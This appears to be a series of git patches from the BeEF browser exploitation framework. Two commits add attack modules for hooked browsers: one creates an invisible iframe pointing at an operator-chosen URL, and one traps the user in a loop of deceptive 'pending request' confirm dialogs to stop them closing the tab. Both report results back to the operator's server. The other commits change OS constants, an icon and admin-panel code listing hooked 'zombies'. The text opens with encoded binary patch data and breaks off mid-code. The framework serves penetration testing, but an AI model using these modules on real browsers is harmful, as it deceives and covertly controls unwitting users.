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 Z{tv-P$)1TCTC4y7002ovPDHLkV1h#r*JJ Date: Wed, 27 Jun 2012 01:50:07 +0930 Subject: [PATCH 029/225] Added module: Create Invisible Iframe --- modules/misc/invisible_iframe/command.js | 24 +++++++++++++++++++ modules/misc/invisible_iframe/config.yaml | 25 ++++++++++++++++++++ modules/misc/invisible_iframe/module.rb | 28 +++++++++++++++++++++++ 3 files changed, 77 insertions(+) create mode 100644 modules/misc/invisible_iframe/command.js create mode 100644 modules/misc/invisible_iframe/config.yaml create mode 100644 modules/misc/invisible_iframe/module.rb diff --git a/modules/misc/invisible_iframe/command.js b/modules/misc/invisible_iframe/command.js new file mode 100644 index 000000000..a0763583c --- /dev/null +++ b/modules/misc/invisible_iframe/command.js @@ -0,0 +1,24 @@ +// +// Copyright 2012 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +beef.execute(function() { + + var target = "<%= @target %>"; + var iframe_<%= @command_id %> = beef.dom.createInvisibleIframe(); + iframe_<%= @command_id %>.setAttribute('src', target); + + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=IFrame created'); + +}); diff --git a/modules/misc/invisible_iframe/config.yaml b/modules/misc/invisible_iframe/config.yaml new file mode 100644 index 000000000..b391c048a --- /dev/null +++ b/modules/misc/invisible_iframe/config.yaml @@ -0,0 +1,25 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +beef: + module: + invisible_iframe: + enable: true + category: "Misc" + name: "Create Invisible Iframe" + description: "Creates an invisible iframe." + authors: ["bcoles"] + target: + working: ["ALL"] diff --git a/modules/misc/invisible_iframe/module.rb b/modules/misc/invisible_iframe/module.rb new file mode 100644 index 000000000..1bfb45b60 --- /dev/null +++ b/modules/misc/invisible_iframe/module.rb @@ -0,0 +1,28 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +class Invisible_iframe < BeEF::Core::Command + + def self.options + return [ + {'name' => 'target', 'ui_label' => 'URL', 'value' => 'http://beefproject.com/'} + ] + end + + def post_execute + save({'result' => @datastore['result']}) + end + +end From 473f71e42dda16a31ef1fb96859665e2fc92f893 Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Wed, 27 Jun 2012 10:23:43 +0100 Subject: [PATCH 030/225] Added missing WebOS constant/image that were preventing admin_ui to work properly. --- core/main/constants/os.rb | 129 +++++++++--------- .../admin_ui/media/images/icons/webos.png | Bin 0 -> 6621 bytes 2 files changed, 65 insertions(+), 64 deletions(-) create mode 100644 extensions/admin_ui/media/images/icons/webos.png diff --git a/core/main/constants/os.rb b/core/main/constants/os.rb index 15c8a1b67..7f94ba0c4 100644 --- a/core/main/constants/os.rb +++ b/core/main/constants/os.rb @@ -15,73 +15,74 @@ # module BeEF -module Core -module Constants - - # @note The OS'es strings for os detection. - module Os - - OS_UNKNOWN_IMG = 'unknown.png' - OS_WINDOWS_UA_STR = 'Windows' - OS_WINDOWS_IMG = 'win.png' - OS_LINUX_UA_STR = 'Linux' - OS_LINUX_IMG = 'linux.png' - OS_MAC_UA_STR = 'Mac' - OS_MAC_IMG = 'mac.png' - OS_QNX_UA_STR = 'QNX' - OS_QNX_IMG = 'qnx.ico' - OS_BEOS_UA_STR = 'BeOS' - OS_BEOS_IMG = 'beos.png' - OS_OPENBSD_UA_STR = 'OpenBSD' - OS_OPENBSD_IMG = 'openbsd.ico' - OS_IOS_UA_STR = 'iOS' - OS_IOS_IMG = 'ios.png' - OS_IPHONE_UA_STR = 'iPhone' - OS_IPHONE_IMG = 'iphone.jpg' - OS_IPAD_UA_STR = 'iPad' - OS_IPAD_IMG = 'ipad.png' - OS_IPOD_UA_STR = 'iPod' - OS_IPOD_IMG = 'ipod.jpg' - OS_MAEMO_UA_STR = 'Maemo' - OS_MAEMO_IMG = 'maemo.ico' - OS_BLACKBERRY_UA_STR = 'BlackBerry' - OS_BLACKBERRY_IMG = 'blackberry.png' - OS_ANDROID_UA_STR = 'Android' - OS_ANDROID_IMG = 'android.png' - OS_ALL_UA_STR = 'All' + module Core + module Constants + + # @note The OS'es strings for os detection. + module Os + + OS_UNKNOWN_IMG = 'unknown.png' + OS_WINDOWS_UA_STR = 'Windows' + OS_WINDOWS_IMG = 'win.png' + OS_LINUX_UA_STR = 'Linux' + OS_LINUX_IMG = 'linux.png' + OS_MAC_UA_STR = 'Mac' + OS_MAC_IMG = 'mac.png' + OS_QNX_UA_STR = 'QNX' + OS_QNX_IMG = 'qnx.ico' + OS_BEOS_UA_STR = 'BeOS' + OS_BEOS_IMG = 'beos.png' + OS_OPENBSD_UA_STR = 'OpenBSD' + OS_OPENBSD_IMG = 'openbsd.ico' + OS_IOS_UA_STR = 'iOS' + OS_IOS_IMG = 'ios.png' + OS_IPHONE_UA_STR = 'iPhone' + OS_WEBOS_UA_STR = 'webos.png' + OS_IPHONE_IMG = 'iphone.jpg' + OS_IPAD_UA_STR = 'iPad' + OS_IPAD_IMG = 'ipad.png' + OS_IPOD_UA_STR = 'iPod' + OS_IPOD_IMG = 'ipod.jpg' + OS_MAEMO_UA_STR = 'Maemo' + OS_MAEMO_IMG = 'maemo.ico' + OS_BLACKBERRY_UA_STR = 'BlackBerry' + OS_BLACKBERRY_IMG = 'blackberry.png' + OS_ANDROID_UA_STR = 'Android' + OS_ANDROID_IMG = 'android.png' + OS_ALL_UA_STR = 'All' # Attempt to match operating system string to constant # @param [String] name Name of operating system # @return [String] Constant name of matched operating system, returns 'ALL' if nothing are matched - def self.match_os(name) - case name.downcase - when /win/ - OS_WINDOWS_UA_STR - when /lin/ - OS_LINUX_UA_STR - when /os x/, /osx/, /mac/ - OS_MAC_UA_STR - when /qnx/ - OS_QNX_UA_STR - when /beos/ - OS_BEOS_UA_STR - when /openbsd/ - OS_OPENBSD_UA_STR - when /ios/, /iphone/, /ipad/, /ipod/ - OS_IOS_UA_STR - when /maemo/ - OS_MAEMO_UA_STR - when /blackberry/ - OS_BLACKBERRY_UA_STR - when /android/ - OS_ANDROID_UA_STR - else - 'ALL' - end - end - + def self.match_os(name) + case name.downcase + when /win/ + OS_WINDOWS_UA_STR + when /lin/ + OS_LINUX_UA_STR + when /os x/, /osx/, /mac/ + OS_MAC_UA_STR + when /qnx/ + OS_QNX_UA_STR + when /beos/ + OS_BEOS_UA_STR + when /openbsd/ + OS_OPENBSD_UA_STR + when /ios/, /iphone/, /ipad/, /ipod/ + OS_IOS_UA_STR + when /maemo/ + OS_MAEMO_UA_STR + when /blackberry/ + OS_BLACKBERRY_UA_STR + when /android/ + OS_ANDROID_UA_STR + else + 'ALL' + end + end + + end + + end end - -end -end end diff --git a/extensions/admin_ui/media/images/icons/webos.png b/extensions/admin_ui/media/images/icons/webos.png new file mode 100644 index 0000000000000000000000000000000000000000..d5c0b70d7e766842e52f00a2e9c912feff9b6ea4 GIT binary patch literal 6621 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 beE0tcPUKD)3OU|*00000NkvXXu0mjfp1*}o literal 0 HcmV?d00001 From 3b72f43ad4fb13aadd5ab22dd117f42cb267b657 Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Wed, 27 Jun 2012 11:24:35 +0100 Subject: [PATCH 031/225] Fixes issue #710 : added Confirm Close Tab module --- .../persistence/confirm_close_tab/command.js | 45 +++++++++++++++++++ .../persistence/confirm_close_tab/config.yaml | 26 +++++++++++ .../persistence/confirm_close_tab/module.rb | 22 +++++++++ 3 files changed, 93 insertions(+) create mode 100644 modules/persistence/confirm_close_tab/command.js create mode 100644 modules/persistence/confirm_close_tab/config.yaml create mode 100644 modules/persistence/confirm_close_tab/module.rb diff --git a/modules/persistence/confirm_close_tab/command.js b/modules/persistence/confirm_close_tab/command.js new file mode 100644 index 000000000..1609bcab7 --- /dev/null +++ b/modules/persistence/confirm_close_tab/command.js @@ -0,0 +1,45 @@ +// +// Copyright 2012 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +beef.execute(function() { + + function display_confirm(){ + if(confirm("Are you sure you want to navigate away from this page?\n\n There is currently a request to the server pending. You will lose recent changes by navigating away.\n\n Press OK to continue, or Cancel to stay on the current page.")){ + display_confirm(); + } + } + + function dontleave(e){ + e = e || window.event; + + if(beef.browser.isIE()){ + e.cancelBubble = true; + e.returnValue = "There is currently a request to the server pending. You will lose recent changes by navigating away."; + }else{ + if (e.stopPropagation) { + e.stopPropagation(); + e.preventDefault(); + } + } + + //re-display the confirm dialog if the user clicks OK (to leave the page) + display_confirm(); + return "There is currently a request to the server pending. You will lose recent changes by navigating away."; + } + + window.onbeforeunload = dontleave; + + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'Module executed successfully'); +}); diff --git a/modules/persistence/confirm_close_tab/config.yaml b/modules/persistence/confirm_close_tab/config.yaml new file mode 100644 index 000000000..62bcd36e6 --- /dev/null +++ b/modules/persistence/confirm_close_tab/config.yaml @@ -0,0 +1,26 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +beef: + module: + confirm_close_tab: + enable: true + category: "Persistence" + name: "Confirm Close Tab" + description: "Shows a confirm dialog to the user when he tries to close a tab. If he click yes, re-display the confirm dialog. Doesn't work on Opera < 12" + authors: ["antisnatchor"] + target: + user_notify: ["ALL"] + not_working: ["O"] \ No newline at end of file diff --git a/modules/persistence/confirm_close_tab/module.rb b/modules/persistence/confirm_close_tab/module.rb new file mode 100644 index 000000000..e38abbfd5 --- /dev/null +++ b/modules/persistence/confirm_close_tab/module.rb @@ -0,0 +1,22 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +class Confirm_close_tab < BeEF::Core::Command + + def post_execute + save({'result' => @datastore['result']}) + end + +end From 727c746303f9b33c075a21df4b2f6f704855cdfd Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Wed, 27 Jun 2012 12:28:09 +0100 Subject: [PATCH 032/225] Added Java to the baloon popup of the admin_ui, and removed phonegap. --- .../admin_ui/controllers/panel/panel.rb | 207 +++++++++--------- .../media/javascript/ui/panel/ZombiesMgr.js | 6 +- 2 files changed, 107 insertions(+), 106 deletions(-) diff --git a/extensions/admin_ui/controllers/panel/panel.rb b/extensions/admin_ui/controllers/panel/panel.rb index 6c101681a..a1a35998b 100644 --- a/extensions/admin_ui/controllers/panel/panel.rb +++ b/extensions/admin_ui/controllers/panel/panel.rb @@ -14,114 +14,115 @@ # limitations under the License. # module BeEF -module Extension -module AdminUI -module Controllers + module Extension + module AdminUI + module Controllers # # # -class Panel < BeEF::Extension::AdminUI::HttpController - - def initialize - super({ - 'paths' => { - '/' => method(:index), - '/hooked-browser-tree-update.json' => method(:hooked_browser_tree_update) - } - }) - end - - # default index page - def index; end - - # return a JSON object contains all the updates for the hooked browser trees - def hooked_browser_tree_update - # retrieve the hbs that are online - hooked_browsers_online = zombies2json_simple(BeEF::Core::Models::HookedBrowser.all(:lastseen.gte => (Time.new.to_i - 30))) - - # retrieve the hbs that are offline - hooked_browsers_offline = zombies2json_simple(BeEF::Core::Models::HookedBrowser.all(:lastseen.lt => (Time.new.to_i - 30))) - - # retrieve the distributed engine rules that are enabled - distributed_engine_rules = distributed_engine_rules_2_json_simple(BeEF::Core::DistributedEngine::Models::Rules.all(:enabled => true)) - - # hash that gets populated with all the information for the hb trees - ret = { - 'success' => true, - - # the list of hb - 'hooked-browsers' => { - 'online' => hooked_browsers_online, - 'offline' => hooked_browsers_offline - }, - - # the rules for the distributed engine - 'ditributed-engine-rules' => distributed_engine_rules - } - - @body = ret.to_json - end - - # Takes a list distributed engine rules and format the results into JSON - def distributed_engine_rules_2_json_simple(rules) + class Panel < BeEF::Extension::AdminUI::HttpController - end - - # Takes a list of zombies and format the results in a JSON array. - def zombies2json_simple(zombies) - zombies_hash = {} - i = 0 - - zombies.each do |zombie| - # create hash of zombie details - zombies_hash[i] = (get_simple_hooked_browser_hash(zombie)) - i+=1 + def initialize + super({ + 'paths' => { + '/' => method(:index), + '/hooked-browser-tree-update.json' => method(:hooked_browser_tree_update) + } + }) + end + + # default index page + def index; + end + + # return a JSON object contains all the updates for the hooked browser trees + def hooked_browser_tree_update + # retrieve the hbs that are online + hooked_browsers_online = zombies2json_simple(BeEF::Core::Models::HookedBrowser.all(:lastseen.gte => (Time.new.to_i - 30))) + + # retrieve the hbs that are offline + hooked_browsers_offline = zombies2json_simple(BeEF::Core::Models::HookedBrowser.all(:lastseen.lt => (Time.new.to_i - 30))) + + # retrieve the distributed engine rules that are enabled + distributed_engine_rules = distributed_engine_rules_2_json_simple(BeEF::Core::DistributedEngine::Models::Rules.all(:enabled => true)) + + # hash that gets populated with all the information for the hb trees + ret = { + 'success' => true, + + # the list of hb + 'hooked-browsers' => { + 'online' => hooked_browsers_online, + 'offline' => hooked_browsers_offline + }, + + # the rules for the distributed engine + 'ditributed-engine-rules' => distributed_engine_rules + } + + @body = ret.to_json + end + + # Takes a list distributed engine rules and format the results into JSON + def distributed_engine_rules_2_json_simple(rules) + + end + + # Takes a list of zombies and format the results in a JSON array. + def zombies2json_simple(zombies) + zombies_hash = {} + i = 0 + + zombies.each do |zombie| + # create hash of zombie details + zombies_hash[i] = (get_simple_hooked_browser_hash(zombie)) + i+=1 + end + + zombies_hash + end + + # create a hash of simple hooked browser details + def get_simple_hooked_browser_hash(hooked_browser) + + browser_name = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'BrowserName') + browser_version = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'BrowserVersion') + browser_icon = BeEF::Core::Models::BrowserDetails.browser_icon(hooked_browser.session) + os_icon = BeEF::Core::Models::BrowserDetails.os_icon(hooked_browser.session) + os_name = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'OsName') + hw_icon = BeEF::Core::Models::BrowserDetails.hw_icon(hooked_browser.session) + hw_name = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'Hardware') + domain = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HostName') + has_flash = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasFlash') + has_web_sockets = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasWebSocket') + has_googlegears = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasGoogleGears') + has_java = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'JavaEnabled') + date_stamp = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'DateStamp') + + return { + 'session' => hooked_browser.session, + 'ip' => hooked_browser.ip, + 'domain' => domain, + 'port' => hooked_browser.port.to_s, + 'browser_name' => browser_name, + 'browser_version' => 